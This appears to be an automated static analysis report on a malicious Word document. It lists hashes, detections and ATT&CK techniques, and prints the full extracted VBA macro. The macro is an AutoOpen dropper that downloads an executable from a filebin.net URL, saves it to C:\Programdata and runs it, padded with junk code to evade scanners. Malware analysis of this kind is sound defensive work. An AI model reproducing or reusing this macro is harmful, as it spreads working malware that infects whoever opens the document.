Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e5ebe9a468419d47…

MALICIOUS

Office (OOXML)

25.4 KB Created: 2021-05-27 18:32:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-05-29
MD5: 906a7c762de0466e69001a393942917b SHA-1: d50f8d8758a2e6cfe7d7ed936ddf56a88c8a46a0 SHA-256: e5ebe9a468419d47a1a1b9e705ce001907ebadd457beca28566fc77645ec624c
312 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes CreateObject and HTTP requests to download and save a file to disk, which is then likely executed. This behavior is consistent with a dropper malware designed to fetch and deploy a second-stage payload. The ClamAV detection further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("C:\Programdata\Fortnite.exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write yxVpvaxGuguqtJhPqTxhRJtzXgPTJdpLFazmidxjkritbqwydEDrEkkAmcHbSzUNDpUUTgEpLyncmDVzRqSdBEbahFKpjpXwddLn.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yxVpvaxGuguqtJhPqTxhRJtzXgPTJdpLFazmidxjkritbqwydEDrEkkAmcHbSzUNDpUUTgEpLyncmDVzRqSdBEbahFKpjpXwddLn = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://filebin.net/5ms6k4uno7qx6itc/fortnite.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4662 bytes
SHA-256: 6a18896e632969fa07453f2d950513330ad6a124c12730ee725cf03f53de63d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select

Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Set yxVpvaxGuguqtJhPqTxhRJtzXgPTJdpLFazmidxjkritbqwydEDrEkkAmcHbSzUNDpUUTgEpLyncmDVzRqSdBEbahFKpjpXwddLn = CreateObject("Microsoft.XMLHTTP")
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Set ikmJvXkDYfWAaDrkMWhxdVfyexqrPNmNdcmRZBDHYtYpcSRQCapdvQyJFnjghUkCDGmGnRMEtFDXQaYFixNkKaaKrEmZQUBGDRpM = CreateObject("Adodb.Stream")
Select Case x
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select


yxVpvaxGuguqtJhPqTxhRJtzXgPTJdpLFazmidxjkritbqwydEDrEkkAmcHbSzUNDpUUTgEpLyncmDVzRqSdBEbahFKpjpXwddLn.Open "GET", "https://filebin.net/5ms6k4uno7qx6itc/fortnite.exe", False
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select



yxVpvaxGuguqtJhPqTxhRJtzXgPTJdpLFazmidxjkritbqwydEDrEkkAmcHbSzUNDpUUTgEpLyncmDVzRqSdBEbahFKpjpXwddLn.Send
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select



With ikmJvXkDYfWAaDrkMWhxdVfyexqrPNmNdcmRZBDHYtYpcSRQCapdvQyJFnjghUkCDGmGnRMEtFDXQaYFixNkKaaKrEmZQUBGDRpM
Select Case x
    Case 21
        'do nothing
    Case 8
        'do nothing
    Case 14
        'do nothing
    Case 9
        'do nothing
End Select



.Type = 1 '//binary
.Open
.write yxVpvaxGuguqtJhPqTxhRJtzXgPTJdpLFazmidxjkritbqwydEDrEkkAmcHbSzUNDpUUTgEpLyncmDVzRqSdBEbahFKpjpXwddLn.responseBody
.savetofile ("C:\Programdata\fortnite.exe"), 2  '//overwrite
End With
Shell ("C:\Programdata\Fortnite.exe")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: f89f0fa0210ace6cf78825a4d277bbad38a2d8cf4f81295aacae29187e59d811
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).